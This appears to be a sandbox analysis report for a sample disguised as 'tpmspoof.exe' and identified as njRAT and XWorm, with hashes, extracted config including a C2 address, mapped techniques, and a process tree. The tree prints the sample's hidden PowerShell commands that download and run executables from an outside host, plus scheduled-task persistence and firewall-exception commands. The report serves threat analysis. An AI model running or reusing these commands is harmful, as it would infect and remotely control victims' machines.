njrat | fc094a9cbf6b8e30b323d1b55d5b9a9a49c2d2ce34d48014540d00ea845fafe9

Analysis

max time kernel
31s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
24/04/2026, 02:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tpmspoof.exe
Size 1.5MB
Sample260424-ct5xeacy4v
SHA256 fc094a9cbf6b8e30b323d1b55d5b9a9a49c2d2ce34d48014540d00ea845fafe9
MD5 76d622a3a2f86e2a5e6217155a6ee1d4
SHA1 e095d3b85a18bd8dda63bfd1c12f60c02b812597
SHA512 8cf8b47de4045cb2513d58b882bc8d2b5bc63fb8ab2be08b0ae6d1df99d9e33e3f79cfc0cdd84dd8a9cd42aba08d746bee32ece70e3012b99cead4dee00c85ad
SSDEEP 24576:HyMPPZKL1YpDI8/WFCoanWgU6psHl2LPrA+YjIs2aTMpwoGcPAdjXbH:HyMPBKZ+skGd6pjLTA+w32asxg9r
TLSH
T1F0751252F5A401F6D4AA81354D632F11B7B6F43A4720ABFB4B48584CBF63BA41D7AF80
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

mybot defense_evasion discovery execution njrat xworm persistence privilege_escalation rat trojan

Malware Config

Extracted

Family

njrat

Version

0.7d

Botnet

MyBot

6.tcp.cpolar.top:13903

Mutex

20e7c1e1773e57eae4c0c52eafd14a0e

Attributes

reg_key
20e7c1e1773e57eae4c0c52eafd14a0e
splitter
Y262SUCZ4UJJ

Extracted

Family

xworm

Mutex

yNحكـX8ٍبAGLWِF6Jo2DiObلٍLZا3ا

Attributes

Install_directory
%Port%
install_file
MicrosoftEdgeUpdateTaskMachineUAC.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Family: njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1612-356-0x00000203C5FD0000-0x00000203C5FDE000-memory.dmp	family_xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1812	powershell.exe
1660	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4192	netsh.exe

Executes dropped EXE 4 IoCs

pid	Process
4140	vc5add5r.ttl.exe
3108	tpm spoof.exe
3936	Dominate.exe
2112	WindowsServices.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storsvc%4Diagnostic.evtx	svchost.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Masontpmspoof.exe	svchost.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\WindowsServices.exe	tpm spoof.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tpm spoof.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsServices.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4276	SCHTASKS.exe
2192	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe
4140	vc5add5r.ttl.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3120	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1612	tpmspoof.exe
Token: SeDebugPrivilege	4140	vc5add5r.ttl.exe
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeDebugPrivilege	3108	tpm spoof.exe
Token: SeDebugPrivilege	1812	powershell.exe
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeDebugPrivilege	2112	WindowsServices.exe
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeShutdownPrivilege	3120	Explorer.EXE
Token: SeCreatePagefilePrivilege	3120	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2672	svchost.exe
Token: SeIncreaseQuotaPrivilege	2672	svchost.exe
Token: SeSecurityPrivilege	2672	svchost.exe
Token: SeTakeOwnershipPrivilege	2672	svchost.exe
Token: SeLoadDriverPrivilege	2672	svchost.exe
Token: SeSystemtimePrivilege	2672	svchost.exe
Token: SeBackupPrivilege	2672	svchost.exe
Token: SeRestorePrivilege	2672	svchost.exe
Token: SeShutdownPrivilege	2672	svchost.exe
Token: SeSystemEnvironmentPrivilege	2672	svchost.exe
Token: SeUndockPrivilege	2672	svchost.exe
Token: SeManageVolumePrivilege	2672	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2672	svchost.exe
Token: SeIncreaseQuotaPrivilege	2672	svchost.exe
Token: SeSecurityPrivilege	2672	svchost.exe
Token: SeTakeOwnershipPrivilege	2672	svchost.exe
Token: SeLoadDriverPrivilege	2672	svchost.exe
Token: SeSystemtimePrivilege	2672	svchost.exe
Token: SeBackupPrivilege	2672	svchost.exe
Token: SeRestorePrivilege	2672	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1612 wrote to memory of 4140	1612	tpmspoof.exe	80
PID 1612 wrote to memory of 4276	1612	tpmspoof.exe	81
PID 4140 wrote to memory of 636	4140	vc5add5r.ttl.exe	5
PID 4140 wrote to memory of 684	4140	vc5add5r.ttl.exe	7
PID 4140 wrote to memory of 904	4140	vc5add5r.ttl.exe	11
PID 4140 wrote to memory of 416	4140	vc5add5r.ttl.exe	13
PID 4140 wrote to memory of 772	4140	vc5add5r.ttl.exe	14
PID 4140 wrote to memory of 612	4140	vc5add5r.ttl.exe	15
PID 4140 wrote to memory of 404	4140	vc5add5r.ttl.exe	16
PID 4140 wrote to memory of 1100	4140	vc5add5r.ttl.exe	17
PID 4140 wrote to memory of 1108	4140	vc5add5r.ttl.exe	18
PID 4140 wrote to memory of 1116	4140	vc5add5r.ttl.exe	19
PID 4140 wrote to memory of 1240	4140	vc5add5r.ttl.exe	21
PID 4140 wrote to memory of 1256	4140	vc5add5r.ttl.exe	22
PID 4140 wrote to memory of 1296	4140	vc5add5r.ttl.exe	23
PID 4140 wrote to memory of 1412	4140	vc5add5r.ttl.exe	24
PID 4140 wrote to memory of 1424	4140	vc5add5r.ttl.exe	25
PID 4140 wrote to memory of 1504	4140	vc5add5r.ttl.exe	26
PID 4140 wrote to memory of 1548	4140	vc5add5r.ttl.exe	27
PID 4140 wrote to memory of 1636	4140	vc5add5r.ttl.exe	28
PID 4140 wrote to memory of 1644	4140	vc5add5r.ttl.exe	29
PID 4140 wrote to memory of 1784	4140	vc5add5r.ttl.exe	30
PID 4140 wrote to memory of 1824	4140	vc5add5r.ttl.exe	31
PID 4140 wrote to memory of 1880	4140	vc5add5r.ttl.exe	32
PID 4140 wrote to memory of 1916	4140	vc5add5r.ttl.exe	33
PID 4140 wrote to memory of 1964	4140	vc5add5r.ttl.exe	34
PID 4140 wrote to memory of 1988	4140	vc5add5r.ttl.exe	35
PID 4140 wrote to memory of 1996	4140	vc5add5r.ttl.exe	36
PID 4140 wrote to memory of 1420	4140	vc5add5r.ttl.exe	37
PID 4140 wrote to memory of 1820	4140	vc5add5r.ttl.exe	38
PID 4140 wrote to memory of 2216	4140	vc5add5r.ttl.exe	39
PID 4140 wrote to memory of 2332	4140	vc5add5r.ttl.exe	41
PID 4140 wrote to memory of 2536	4140	vc5add5r.ttl.exe	42
PID 4140 wrote to memory of 2544	4140	vc5add5r.ttl.exe	43
PID 4140 wrote to memory of 2572	4140	vc5add5r.ttl.exe	44
PID 4140 wrote to memory of 2588	4140	vc5add5r.ttl.exe	45
PID 4140 wrote to memory of 2656	4140	vc5add5r.ttl.exe	47
PID 4140 wrote to memory of 2672	4140	vc5add5r.ttl.exe	48
PID 4140 wrote to memory of 2684	4140	vc5add5r.ttl.exe	49
PID 4140 wrote to memory of 2888	4140	vc5add5r.ttl.exe	50
PID 4140 wrote to memory of 2356	4140	vc5add5r.ttl.exe	51
PID 4140 wrote to memory of 2716	4140	vc5add5r.ttl.exe	52
PID 4140 wrote to memory of 3120	4140	vc5add5r.ttl.exe	53
PID 4140 wrote to memory of 3252	4140	vc5add5r.ttl.exe	54
PID 4140 wrote to memory of 3312	4140	vc5add5r.ttl.exe	55
PID 4140 wrote to memory of 3652	4140	vc5add5r.ttl.exe	58
PID 4140 wrote to memory of 3716	4140	vc5add5r.ttl.exe	59
PID 4140 wrote to memory of 3752	4140	vc5add5r.ttl.exe	60
PID 4140 wrote to memory of 3788	4140	vc5add5r.ttl.exe	61
PID 4140 wrote to memory of 3972	4140	vc5add5r.ttl.exe	62
PID 4140 wrote to memory of 4216	4140	vc5add5r.ttl.exe	63
PID 4140 wrote to memory of 1596	4140	vc5add5r.ttl.exe	67
PID 4140 wrote to memory of 2060	4140	vc5add5r.ttl.exe	68
PID 4140 wrote to memory of 4472	4140	vc5add5r.ttl.exe	70
PID 4140 wrote to memory of 3232	4140	vc5add5r.ttl.exe	71
PID 4140 wrote to memory of 3356	4140	vc5add5r.ttl.exe	72
PID 4140 wrote to memory of 3892	4140	vc5add5r.ttl.exe	73
PID 4140 wrote to memory of 4920	4140	vc5add5r.ttl.exe	74
PID 4140 wrote to memory of 740	4140	vc5add5r.ttl.exe	75
PID 4140 wrote to memory of 3580	4140	vc5add5r.ttl.exe	76
PID 4140 wrote to memory of 1932	4140	vc5add5r.ttl.exe	77
PID 4140 wrote to memory of 1612	4140	vc5add5r.ttl.exe	79
PID 3120 wrote to memory of 3136	3120	Explorer.EXE
PID 4140 wrote to memory of 3136	4140	vc5add5r.ttl.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:636
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:772

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-a25056f8-ca7b-4ff4-9b13-967b9ae87639 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-7d95f1f8-79df-49be-9d55-53b189792623 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-06c42c59-c90c-42fb-aaec-4a06cfd839e1 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-6c2c0bcf-8b49-4c11-89a6-8844801a23c2 -LifetimeId:cf561122-2643-471e-b8af-64941e8cfbc4 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:404

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1256

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1412
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2356

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1504

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1784

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1880

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1964

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1996

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1820

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2888

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2716

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3120
- C:\Users\Admin\AppData\Local\Temp\tpmspoof.exe
  "C:\Users\Admin\AppData\Local\Temp\tpmspoof.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1612
- - C:\Users\Admin\AppData\Local\Temp\vc5add5r.ttl.exe
    "C:\Users\Admin\AppData\Local\Temp\vc5add5r.ttl.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4140
- - C:\Windows\SYSTEM32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masontpmspoof.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\tpmspoof.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4276
- - C:\Windows\SYSTEM32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masontpmspoof.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\tpmspoof.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2192
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4484
- - C:\Users\Admin\AppData\Local\Temp\tpm spoof.exe
    "C:\Users\Admin\AppData\Local\Temp\tpm spoof.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:3108
  - - C:\Windows\WindowsServices.exe
      "C:\Windows\WindowsServices.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2112
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Windows\WindowsServices.exe" "WindowsServices.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:4192
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:3136
- - C:\Users\Admin\AppData\Local\Temp\Dominate.exe
    "C:\Users\Admin\AppData\Local\Temp\Dominate.exe"
    3⤵
    - Executes dropped EXE
    PID:3936
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK933495.exe; Start-Process -FilePath $env:TEMP\BK933495.exe -WindowStyle Hidden }"
      4⤵
      PID:916
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK933495.exe; Start-Process -FilePath $env:TEMP\BK933495.exe -WindowStyle Hidden }"
        5⤵
        
        PID:3940
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:776
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK933495.exe; Start-Process -FilePath $env:TEMP\BK933495.exe -WindowStyle Hidden }"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1812
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK382324.exe; Start-Process -FilePath $env:TEMP\BK382324.exe -WindowStyle Hidden }"
      4⤵
      PID:2440
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK382324.exe; Start-Process -FilePath $env:TEMP\BK382324.exe -WindowStyle Hidden }"
        5⤵
        
        PID:804
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4352
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK382324.exe; Start-Process -FilePath $env:TEMP\BK382324.exe -WindowStyle Hidden }"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1660
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Dominate.exe" MD5 | find /i /v "md5" | find /i /v "certutil"
      4⤵
      PID:1764
    - - C:\Windows\system32\certutil.exe
        
        certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\Dominate.exe" MD5
        5⤵
        
        PID:2284
    - - C:\Windows\system32\find.exe
        
        find /i /v "md5"
        5⤵
        
        PID:4572
    - - C:\Windows\system32\find.exe
        
        find /i /v "certutil"
        5⤵
        
        PID:1196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3312

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3652

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3752

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3788

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:3972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:3232

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3356

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3892

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:4920

C:\Windows\system32\svchost.exe
